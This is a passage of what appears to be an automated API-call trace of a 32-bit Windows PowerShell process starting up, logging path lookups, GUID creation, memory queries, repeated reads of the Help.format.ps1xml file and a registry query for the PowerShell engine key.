lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.322] GetLastError () returned 0x0 [0052.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.323] GetLastError () returned 0x0 [0052.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.324] GetLastError () returned 0x0 [0052.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.324] GetLastError () returned 0x0 [0052.324] VirtualQuery (in: lpAddress=0x27d0d0, lpBuffer=0x27e0d0, dwLength=0x1c | out: lpBuffer=0x27e0d0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.325] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x26036ba2, Data2=0xf31, Data3=0x4e6c, Data4=([0]=0xa5, [1]=0xb6, [2]=0x7a, [3]=0xf6, [4]=0xf1, [5]=0xc0, [6]=0x6f, [7]=0xf3))) returned 0x0 [0052.325] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.325] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x28cd41f8, Data2=0x8bed, Data3=0x4643, Data4=([0]=0xa7, [1]=0xe1, [2]=0x99, [3]=0xfd, [4]=0xd1, [5]=0x93, [6]=0xce, [7]=0x5a))) returned 0x0 [0052.325] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x1110a0d8, Data2=0x4174, Data3=0x41ed, Data4=([0]=0xbb, [1]=0x7e, [2]=0x30, [3]=0xe3, [4]=0xc0, [5]=0x44, [6]=0x3a, [7]=0xed))) returned 0x0 [0052.325] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa7cb1d0e, Data2=0x1d23, Data3=0x4d2c, Data4=([0]=0xbc, [1]=0x73, [2]=0xbf, [3]=0x8c, [4]=0xc4, [5]=0xd7, [6]=0x51, [7]=0x5b))) returned 0x0 [0052.325] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.326] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.326] GetLastError () returned 0x0 [0052.326] SetErrorMode (uMode=0x1) returned 0x1 [0052.326] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.326] GetLastError () returned 0x0 [0052.326] GetFileType (hFile=0x310) returned 0x1 [0052.326] SetErrorMode (uMode=0x1) returned 0x1 [0052.326] GetFileType (hFile=0x310) returned 0x1 [0052.326] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.327] GetLastError () returned 0x0 [0052.328] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.328] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.330] GetLastError () returned 0x0 [0052.330] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.330] GetLastError () returned 0x0 [0052.330] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.330] GetLastError () returned 0x0 [0052.331] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] GetLastError () returned 0x0 [0052.331] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] GetLastError () returned 0x0 [0052.331] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] GetLastError () returned 0x0 [0052.331] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] GetLastError () returned 0x0 [0052.331] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.332] GetLastError () returned 0x0 [0052.332] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.332] GetLastError () returned 0x0 [0052.333] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.333] GetLastError () returned 0x0 [0052.333] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.333] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.334] GetLastError () returned 0x0 [0052.334] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.335] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.335] GetLastError () returned 0x0 [0052.338] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.338] GetLastError () returned 0x0 [0052.338] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.338] GetLastError () returned 0x0 [0052.338] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.338] GetLastError () returned 0x0 [0052.338] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.338] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.339] GetLastError () returned 0x0 [0052.339] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0xf37, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1573, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1573*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] ReadFile (in: hFile=0x310, lpBuffer=0x2fc1e9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc1e9c*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] CloseHandle (hObject=0x310) returned 1 [0052.342] GetLastError () returned 0x0 [0052.342] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.343] GetLastError () returned 0x0 [0052.343] SetErrorMode (uMode=0x1) returned 0x1 [0052.343] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2fe2e98 | out: lpFileInformation=0x2fe2e98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0052.343] GetLastError () returned 0x0 [0052.343] SetErrorMode (uMode=0x1) returned 0x1 [0052.343] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.343] GetLastError () returned 0x0 [0052.343] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.343] RegQueryValueExW 